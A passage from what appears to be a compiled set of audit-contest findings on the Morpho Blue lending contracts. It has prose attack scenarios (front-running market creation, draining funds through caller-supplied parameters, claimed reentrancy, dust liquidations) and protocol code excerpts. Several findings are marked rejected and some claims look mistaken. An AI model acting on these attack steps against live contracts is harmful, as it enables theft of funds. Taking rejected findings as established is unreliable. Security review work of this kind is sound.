+4. **One thing important is `liquidationIncentiveFactor`**, according to [Morpho.sol#L364-L367](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L364-L367), its value range should be between 1e18(when marketParams.lltv == 1) and 1.15e18(capped by [MAX_LIQUIDATION_INCENTIVE_FACTOR](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/libraries/ConstantsLib.sol#L14)). And based on [Morpho.sol#L370-L372] and [Morpho.sol#L374-L376](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L374-L376), it's used as **discount** for liquidator when swap `marketParams.loanToken` for `marketParams.collateralToken`. To be more clear, liquidator will get more `collateralToken` when calling `liquidate` than swap in AMM because of `liquidationIncentiveFactor`
+5. Then the function will update the position and transfer.
+
+**The issue in the function is that the liquidator can liquidate more borrower's debt than expected, and he'll be willing to do so because `liquidationIncentiveFactor` is workded as discount in step4.**
+
+Supposed in a case that in a market USDC as loanToken, and WETH as collateralToken
+1. Alice(the borrower) calls `supplyCollateral` to supply X(X is a large number) amount WETH, and borrows some USDC
+2. with time gone, the price between USDC and WETH changed, and Alice's position becomes unhealthy.
+3. Even Alice's position is unhealthy, Alice can recovery her position with repay little amount of USDC like 1 USDC
+4. Bob(the malicious user) finds Alice's position is unhealthy, and can be liquidated
+5. Bob will liquidate Alice's debt to obtain all of Alice's WETH because `liquidationIncentiveFactor` is used as discount to buy WETH
+6. in such case, Alice will lose all of her WETH, and I think it's unfair
+
+Another attack case is that: **instead of calling `repay` to repay the debt, the borrower can abuse `liquidate` function to get his `collateralToken` back while paying less `loanToken`**
+
+**Recommendation**:
+
+I think the function should limit how much collateralToken can be liquidated, or the system should return extra collateralToken to the borrower when the bad position is recovered
+
+
+
+### `Morpho.sol::liquidate` no incentive to liquidate low value positions _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Relevant github links
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344
+
+- Summary
+There is no incentive to liquidate low value loans such as $1 because of gas cost as this protocol will be deployed on Ethereum and primarily run there for the most part of it's lifecycle.
+
+- Vulnerability Details
+Liquidators get to liquidate borrowers for a profit (also known as the liquidation incentive). If there is no profit to be made for such action, there will be no one to call the liquidate function for a small position that would eventually eat into the market it is tied to. For example a borrower has $6 worth of collateral in USDC and has 4.5 dollars worth of ETH borrowed assuming the configured `lltv` for that market is set to 80%.
+
+This borrower's loan get's under-collateralized and needs to be liquidated of their running market loan position which will ensure not too much `badDebt` will accumulate if left longer. Because the value of the loan is so low ($4.5), after gas costs estimations, a liquidator will not make a profit liquidating this position. This low value position will eventually not get liquidated and same can be said for every other position (keep in mind there typically is no minimum loan amount and I can just borrow 1 WEI for example which is not something I could really utilize anywhere), leaving the market with badDebt that will accumulate and can eat into the market share if a ton of these never gets liquidated or get's liquidated at a much later date.
+
+- Impact
+- The protocol can be undercollateralized potentially not allowing users to withdraw their tokens, complete loss of funds.
+- They will have a massive badDebt looming over their assets waiting to eat into it
+- These positions don't really intend to be used for anything and will eventually eat into other balances of the Morpho contract when the tied market becomes undercollateralized
+- This would also lead to reverts for the market the position is tied later during lender withdrawals.
+
+- Recommendations
+1. One fix for this issue would be to set a certain threshold for the loan amounts that can be borrowed e.g 0.1 ETH
+2. Another fix could be to set a minimum collateral size for a loan so the issue is already aversed at the point of entry for a borrower which is the `supplyCollateral` function; implenting a min collateral amount that makes sense for what a borrower would actually use and what a liquidator would not consider too small an amount to liquidate in the case the borrower goes MIA on their loaned position.
+
+
+
+
+### Users that interact directly with morphoblue are exposed to price manipulation risks as it offers no slippage protection
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Users that interact directly with morphoblue are exposed to price manipulation risks as it offers no slippage protection
+
+- Description
+MorphoBlue's financial operations, such as supply, borrow, and repay, currently lack slippage protection mechanisms. This absence is notable when contrasted with the MorphoBundler, which includes robust slippage safeguards to revert transactions if predefined slippage thresholds are not met. This design decision in MorphoBundler implicitly acknowledges the inherent risks of price manipulation. Consequently, users who directly interact with MorphoBlue's functions are left vulnerable to slippage risks, potentially leading to lost assets.
+
+In the context of MorphoBundler (as seen in the `morphoSupply` function), there are explicit checks to ensure that the number of supplied shares or the amount of supplied assets does not exceed the slippage amount specified by the user. However, similar checks are absent in the corresponding `supply` function in MorphoBlue. This discrepancy implies that users directly using the MorphoBlue contract for these financial operations do not benefit from the same level of protection against slippage.
+
+- Code comparison
+[morphoSupply at MorphoBundler.sol:](https://github.com/morpho-org/morpho-blue-bundlers/blob/main/src/MorphoBundler.sol#L90C5-L111C6)
+```solidity
+function morphoSupply(
+ MarketParams calldata marketParams,
+ uint256 assets,
+ uint256 shares,
+ uint256 slippageAmount,
+ address onBehalf,
+ bytes calldata data
+ ) external payable protected {
+ // Do not check `onBehalf` against the zero address as it's done at Morpho's level.
+ require(onBehalf != address(this), ErrorsLib.BUNDLER_ADDRESS);
+
+ // Don't always cap the assets to the bundler's balance because the liquidity can be transferred later
+ // (via the `onMorphoSupply` callback).
+ if (assets == type(uint256).max) assets = ERC20(marketParams.loanToken).balanceOf(address(this));
+
+ _approveMaxTo(marketParams.loanToken, address(MORPHO));
+
+ (uint256 suppliedAssets, uint256 suppliedShares) = MORPHO.supply(marketParams, assets, shares, onBehalf, data);
+
+ if (assets > 0) require(suppliedShares >= slippageAmount, ErrorsLib.SLIPPAGE_EXCEEDED);
+ else require(suppliedAssets <= slippageAmount, ErrorsLib.SLIPPAGE_EXCEEDED);
+ }
+```
+
+[supply at Morpho.sol:](https://github.com/morpho-org/morpho-blue/blob/bdcf70a01e08c1d57daee9186fe2bf36349d375e/src/Morpho.sol#L156C5-L184C6)
+```solidity
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.borrowableToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+- **MorphoBundler (`morphoSupply` function):**
+
+ - Implements slippage checks (`require(suppliedShares >= slippageAmount, ErrorsLib.SLIPPAGE_EXCEEDED)`).
+ - Protects users from receiving less than the expected shares or more assets than intended.
+- **MorphoBlue (`supply` function):**
+
+ - Lacks slippage checks.
+ - Users are not protected from unexpected changes in share value or asset amount due to market fluctuations.
+- Recomendation
+To address this vulnerability, implementing slippageAmount checks in all relevant MorphoBlue operations (supply, withdraw, borrow and repay) is recommended.
+
+
+
+### Front-running createMarket enables stealing entire initial investment
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L151-L151](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L151-L151)
+
+**Description**
+
+Using a caller-provided ID in createMarket opens the door to impostor attacks. This in particular can allow an attacker to steal
+
+
+**Attack scenario:**
+
+
+1. Alice issues a transaction to create market 42, whose loan token is WETH, and a different transaction to supply 10 ETH
+2. Bob front-runs the transaction and creates a market 42 with loan token WETH but with collateral token Dogecoin and an oracle that he controls which says that 1 Dogecoin is worth 100 ETH
+3. Alice's first transaction reverts, but her second transaction succeeds. She has now supplied 10 WETH to Bob's market
+4. Bob takes a loan for 10 ETH collateralized by 1 Dogecoin, essentially stealing all of Alice's initial funding
+
+The attack is less severe if Bob cannot supply an arbitrary oracle, but he'll still control the IRM and LLTV (at least among those enabled). Most significantly, he'll control the collateral token, so he can set the collateral to something very illiquid and overvalued by the oracle.
+
+**Recommendation**
+
+One solution is to instead use a hash of the market parameters as the ID.
+
+
+
+### Using marketParams value from caller allows anyone to drain the entire contract, among several other attacks
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L246-L246](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L246-L246), [Morpho.sol#L260-L260](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L260-L260)
+
+**Description**:
+
+Most methods in Morpho.sol use the MarketParameters value supplied by the caller instead of the actual parameters for that market.
+
+There is no shortage of havoc that can be wrought from this.
+
+The worst thing this lets someone do is steal absolutely everything of value from the contract
+
+For example, suppose the contract has 1000 WETH and 1000000 USDC.
+
+Someone creates a market where the collateral token and loan token are both some shitcoin whose entire market cap is $1. They supply 1 billion of this coin as both supply and borrow assets.
+
+Then they loan 1000 tokens from this market.
+
+Except, when they call borrow(), they set marketParams.loanToken to WETH, and the contract happily sends them 1000 WETH instead of 1000 of the shitcoin.
+
+Then they call borrow for 1000000, with marketParams.loanToken set to USDC.
+
+And now the attacker has stolen everything in the contract.
+
+Relevant code
+
+```solidity
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ // ...
+ // Look! The caller controls marketParams.loanToken
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+ // ...
+ }
+
+```
+
+
+Furthermore, anyone can:
+
+1. Call accrueInterest for a market passing in an IRM of their choosing, either charging 0 interest or 100000% interest as they please. Note that this bypasses the isIrmEnabled check, allowing them complete control.
+2. Call borrow or withdrawCollateral, passing in an LLTV that allows them to take loans with approximately 0 collateral. Note that this bypasses the isLltvEnabled check, allowing them complete control.
+3. Call borrow with an oracle under their control, allowing them effectively free loans.
+4. Call liquidate with an oracle or LLTV under their control, allowing lenders to steal collateral from borrowers
+
+
+
+**Recommendation**:
+
+Pass in the ID instead of the MarketParameters; look up the correct MarketParameters value.
+
+
+
+### Liquidators incentivised to not execute bad debt socialization to decrease gas cost of liquidate for same reward. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Liquidators incentivised to avoid bad debt socialization because leaving 1 wei of collateral behind decreases the gas costs of liquidation
+
+The bad debt for a position is socialised after only when `(position[id][borrower].collateral == 0)`
+
+A liquidator can liquidate a position and leave just 1 wei of collateral behind which skips the entire code block after the `if (position[id][borrower].collateral == 0)`. As an example 1 wei of USDT is `1e-16` us cents, so the tiniest gas saving exceed the value of the liquidation.
+
+When 1 wei is left behind, the bad debt is not socialised until `liquidate` is called again. Furthermore there is a negative incentive to waste gas to call `liquidate` again on that position as the liquidation incentive is essentially `0`.
+
+Note that the leftover collateral size of the position is in no way correlated with the bad debt behind the poisition. These 1 wei collateral positions can actually have a massive bad debt. When many of these positions accumulate, the protocol can become effectively unusable, as a user would have to liquidate many seperate transactions first before borrowing without risking having bad debt immediately socialized onto their new position.
+
+**Recommendation**:
+
+Have a configurable minimum dust value for collateral that can be left behind after a partial liquidation. If the liquidation results in a collateral between `0` and `dustValue`, the liquidation should revert
+
+
+
+### attacker can create countless low value loans that liquidation incentives were less than liquidation gas cost _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L363-L363](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L363-L363)
+
+the value of `liquidationIncentiveFactor` can vary based on market's lltv and the maximum value is `MAX_LIQUIDATION_INCENTIVE_FACTOR = 15%`.
+the issue here is that for small positions the incentive will not be enough to cover the gas cost to call liquidation function. those positions will remain in Morpho market and eventually they will create bad debt. for example for a market with 90% lltv the `liquidationIncentiveFactor` will be 3%. so any position that is worth less than \$100 will have \$3 liquidation incentive and obviously it's not profitable to liquidate that position. those positions will remain in the market and overtime they will sum up while creating bad debt.
+
+attacker can create a lot of those $100 loans with different addresses and he will be sure that no one will liquidate him.
+
+unfortunately it's not easy to fix this because the Morpho market doesn't know the price of the collateral/loan in ETH (if it was known, code could enforce minimum limit for collateral/loan).
+one feasible fix is increasing `liquidationIncentiveFactor` as position `debt / collateral` increase. this way as times goes those position liquidation incentive will increase and finally some one will liquidate it and remove the bad debt.
+
+
+
+### Unfair loss distribution in case of bad debt accrual _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L386-L398
+
+As per current liquidation mechanism, in case of shortfall / bad-debt, All the existing LPs take a hit on pro-rata basis.
+
+A liquidator receives fixed % incentive on seized assets irrespective of whether liquidation results in bad debt or not.
+
+From whitepaper:
+> While these mitigations may be suitable for a decentralized funds, managing
+profits and losses on behalf of users is not an option for a protocol aiming to be
+trustless and scalable. Morpho Blue takes a different approach by accounting
+for the bad debt. When a liquidation occurs on Morpho Blue, if the borrower
+has outstanding debt but no collateral, the losses are socialized proportionately
+among lenders, resulting in an instant loss for lenders. If for some reason liq-
+uidators don’t liquidate the position fully and thus do not account for bad debt,
+lenders can, if there is enough liquidity, temporarily withdraw their funds to ac-
+count for the default without incurring any losses
+
+
+A set of LPs can collaborate with liquidator to reduce their share of loss and increasing profit of liquidator at cost of increasing loss of non-participating LPs.
+
+Example:
+
+let total supply of shares shares = 1000
+
+Distribution of shares: 600 shares from a single vault "X", 400 from 'n' different vaults and individual active or passive LPs.
+
+vault "X" can authorize liquidator to supply and withdraw on their behalf such that if bad debt is anticipated, it will be socialized among 400 shares by withdrawing 600 shares of vault "X" before liquidation and then supplying it back after bad debt reduces total assets. And for this, vault "X" can pay a premium less than that of bad debt hit to the liquidator.
+
+This will lead to development of secondary offchain market for bad-debt pricing which harms LP dynamics and in general is net negative for protocol since value moves from protocol LPs to more informed MEV actors.
+
+Also, there is block-space limit due to which liquidator can withdraw and re-supply back for only limited number of unique address. So, if there are 1000+ unique positions (implying unique addresses), a liquidator would auction off rights and LPs paying least / no premium will be hit most making it a negative sum LP vs LP game.
+
+**Recommendation**:
+
+Discourage instantaneous supply and withdrawal at protocol level by introducing epoch mechanism or ensuring there is at least "K" blocks of gap b/w supply and withdraw.
+
+NOTE: while this finding might look identical to Openzeppelin audit H-01, it is completely different in terms of economics and incentives for each actor and doesn't rely on making remaining collateral 1 wei before accruing bad debt or require callbacks.
+
+
+
+### Users assets are exposed to sandwich attack _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Lines of code
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L166
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197
+
+
+- Description
+Function supply() does not check the minimum liquidity amount. This makes users' funds vulnerable to sandwich attacks.
+
+`supply()` will increase *market[id].totalSupplyShares*, and thus change the exchange rate of shares.
+```solidity
+if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+```
+
+Given the current network environment, most transactions in the mempool would be sandwiched.
+
+- Proof of Concept
+Let's say a user wants to supply 1000 asset Token in the pool hoping to get an expected amount of shares back. Attackers sees this and front runs trade as follows:
+
+Mint more shares with 10,000 of the asset Token and extremely change the expected shares to mint for that asset Token
+User's tx enter here and execute `supply()`.
+Trade finalizes with unwanted shares amount given back and realized by the user since no slippage is specified
+
+- Recommendation
+These functions should allow users to provide a min return and check the slippage.
+Always check how much liquidity a user receives in a transaction. A tx would not be sandwiched if it's not profitable.
+
+We could learn a lot about MEV [here](https://milkroad.com/guide/mev/).
+
+
+
+
+### user could lose assets if they specify shares input too low . _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Protocol implements that let the user choose how much shares they want or how much assets they want to deposit in supply Function .This protocol use virtual assets and virtual shares when calculation assets and shares based on shares and assets of user's input .In calculation
+assets based on shares in supply () ,if user specify input shares which is lower than 1e6 . user also need to give 1 assets token no matter what .
+Basically if the user input which is lower than 1e6 , user have to give at least 1 assets token cause of rounding up is using at calculation assets based on shares .SO if the user input 1 shares , they will have to transfer 1 assets token ,other user get more than 1 shares when they deposit 1 assets token.
+
+
+**POC**
+
+> 1.user1 specify input shares 1 and assets 0
+
+> 2.user1 will get shares 1 and give assets 1 (cause of rounding up)
+
+> 3.user2 specify input assets 1 and shares 0
+
+> 4.user2 will get shares 5e5 and give assest1 5e5
+
+> So user's shares is diluted and his assets will be gone .
+
+this case is happening in supply , withdraw, borrow, repay and liquidate
+user gonna lose fund if they put shares which are lower than 1e6
+**Recommendation**:
+shares input must be at least 1e6 , user gonna lose fund
+and also consider that if there is factor that gonna increase those totalShares , user have to input more than 1e6
+
+
+
+### Callback functions are reentrent and malicious user can steal all funds. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+
+All callbacks in the MorphoBlue contract with the exception of `flashloan` are subject to renetrancy that leads to malicious users stealing funds from the vault.
+The functions that are renentrant are `Supply`, `Repay`, `SupplyCollataral`, `Liquidate`.
+
+Blue calls the user defined contract implmentation of the callback interfaces, but these interfaces even implemented is essentially a closed box, that the calling contract does not know what the called contract does, within the called functions, a milicious user may decide to implement the interface in the scenario that when it is called back, it renenters the blue contract and wreaks havoc. For example using the Supply function as a scenario.
+
+**Proof of Concept**
+
+[Supply function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166C1-L194C6)
+
+```
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+
+```
+
+Bob a malicious user makes a call to `supply` using a malicious contract that implements `IMorphoSupplyCollateralCallback` interface, with intentions of stealing from the market. The following Scenarios exist in the market:
+
+LoanToken = WETH
+ CollataralToken = USDC
+ TotalSupplyAssets = 200ETH
+ TotalBorrowedAssets = 100ETH
+ Available Cash = TotalSuppliedAssets - TotalBorrowedAssets; = 100ETH.
+
+Bob supplies 10eth to the market with `data.lenght > 0`, Blue makes a callback to bobs malicious contract calling `onMorphoSupply` which hands over execution to bobs malicious contract, Bobs malicious contract then proceeds to reenter the function, and does this 10 times. What this does it that at each time bob enters the `supply` function it increases bobs supply balance like so:
+
+ ```
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();`
+```
+
+After bob has called this 10 extra times, plus the initial time it was called, it equals 11 times:
+
+AmountCalledTimes * Assets =
+11 * 10Eth = 110ETH.
+
+Bob then allows the function to end at the 11th time, where the `asset` is transfered which at this time is still 10ETH.
+
+`IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);`
+
+This means that bob has inflated the asset he supplied to the pool by 100 extra ETH, making him the rightful owner of 110ETH as opposed to just 10ETH.
+
+Bob immediately calls the `withdraw` function in the same transaction, with 110ETH as asset Amount, the withdraw function sends back approximately 110ETH, so bob has now made 100ETH, with an investment of just 10ETH. Sweet deal for bob.
+
+The same scenario can take place in [supplyCollataral](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300C5-L317C6), [repay](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266C4-L295C6) and [liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L343C4-L411C1) with varrying processes that leads to the market loosing funds.
+
+
+
+
+**Recommendation**
+
+Add Reentrancy Guard to the vunerable functions. Preferably use [Openzepplins](https://docs.openzeppelin.com/contracts-cairo/0.4.0/security#reentrancy_guard) renetrancy gaurd. Or use the [check effects](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html#:~:text=The%20checks%20in%20the%20beginning,interactions%20should%20be%20carried%20out) interaction method
+
+
+
+
+
+### BadDebt can create a bank run by lenders. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+
+When position has exceeded its LTV and thus due for liquidation, and if that position's collataral does can not cover for its debt, it means that the lending pool will cover for the shortfall. This creates a scenario where lenders race to withdraw thier debt from the pool before the liquidator liquidates the position or positions, becuase the liquidation will mean less interest on investment or even affect the investmant itself depending on the amount of shortfall of debts. It is important to note that there are solutions on the blockchain that lets users automate execution of positions, like withdrawal just before a hack or like in this situation withdrawal just before a liquidator liquidates a position or group of position that will affect the lender nagetively.
+
+
+```
+if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+
+**Recommendation**
+
+Create a mechanism that discourages this behavior.
+
+
+
+
+### Double spending
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+
+When deducting the bad debt from the lending pool, the funds are deducted from the totalSupplyAssets like so:
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L386C7-L399C1
+
+```
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+```
+
+But when the seized asset is sent to the liquidator it is sent like so:
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L399C1-L410C6
+
+
+```
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+
+```
+
+Meaning it both deducts from the lending pool supply balance and from the total collataral Value of all borrowers.
+
+**Recommendation**
+
+It should be sending the initial Collataral token balance alone and the shortfall in the loan token just like below.
+
+```diff
++ uint128 initialCollataral = position[id][borrower].collateral;
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+ ................
+- IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
++ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, initialCollataral );
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+- IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
++ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets - baddebt);
+
+
+return (seizedAssets, repaidAssets);
+```
+
+
+
+### attacker can create and compermise markets with predictable derivitive/project token addresses that are not yet deployed _(duplicate of [insufficient non existent token check can be weaponised])_
+
+**Severity:** High risk
+
+**Context:** [SafeTransferLib.sol#L29-L29](morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L29-L29)
+
+here code doesn't check that token address has code. This gives attacker ability to create Morpho markets with tokens that doesn't have code yet, them compromise those markets and when the tokens get deployed they will look like valid markets.
+attacker can supply loan or collateral token and increase his share balance in market state while in reality no tokens will be transferred. This become issue if the real tokens get deployed to those addresses, now that Morpho market that attacker created and comprised is gonna look like a valid one and users gonna interact with it and after a while attacker can withdraw his shares and practically steal user funds.
+
+because Morpho allows to create markets permissionless and markets can be created for other projects LP, collateral, staked,... tokens attacker can make his attack more impactful by predicting those tokens addresses and creating and compromising his malicious market before those tokens deployment.
+
+This is the POC:
+1. let's say there is a new token A that belongs to project PROJA.
+2. token A is going to be listed in aave or compound or some other platform that create a derivative based on underlying token.
+3. attacker will predict the A_derivative address and will create Morpho market based on valid IRM and oracle for A_derivative as loan token and ETH as collateral (or vice versa)
+4. then attacker will call `supply(100M)` and because logic doesn't check that token address has code, the token transfer will result in success and code would increase attacker share balance.
+5. now the token A's will be listed in the project and the derivative will be deployed and after a while users will start interacting with the market that attacker creates.
+6. now attacker can call `withdraw()` and receive the loan token while attacker never really deposited tokens.
+
+attacker can perform multiple things to make attack more reliable and profitable:
+1. attacker can create different markets with different configurations.
+2. attacker can set loan or collateral token as the target token.
+3. attacker can attack Unisawp or other DEX LP tokens, by creating a market for that LP token and poisoning it and then creating the LP token in the DEX.
+4. while attacker set fake collateral balance for itself in the market, attacker can supply and borrow some tokens in the market so the utilization will be % and interstate rate will be high and users will be encouraged to supply their tokens in to this market.
+
+overall I believe this attack has High severity because Morpho is supposed to be a permissionless factory for loan markets that users create markets based on tokens. while this attack require user interaction with comprised markets, there is no indication that those markets are comprised. in users perspective, those markets are valid one and all the market parameters are valid.
+
+to fix this code should check and make sure that loan and collateral token addresses have code in `createMarket()`
+
+
+
+
+### Pool bankruptcy can render it permanently unusable when asset token has low valuation or high decimals
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:** [Morpho.sol#L395](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L395), [Morpho.sol#L180-L181](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L180-L181)
+
+**Description:** When pool bankrupts, i.e. all current assets are being written off, the `totalSupplyShares` is not reset. This remainder value of `totalSupplyShares` actually forms a basis for the shares denomination for the subsequent depositors, i.e. while initially this denomination basis is `VIRTUAL_SHARES`, after bankruptcy it will be the `totalSupplyShares + VIRTUAL_SHARES`. This approach backfires when asset token has either low denomination or high decimals as `uint128` type of `totalSupplyShares` might not be enough to accommodate any meaningful supply after such a rebasing, so the market becomes unusable.
+
+After bad debt treatment on liquidation it can become `totalSupplyAssets == 0`, `totalSupplyShares > 0`:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L386-L398
+
+```solidity
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+>> market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+
+This is pool bankruptcy, i.e. the state of having positive shares with no remaning assets. The result will be shares inflation, i.e. it will be the same as a new market with the same parameters, but as if `VIRTUAL_SHARES` have been increased by the total shares remainder.
+
+In other words on the next supply every `1` asset will correspond to `totalSupplyShares + VIRTUAL_SHARES` that is left with the system:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L185
+
+```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
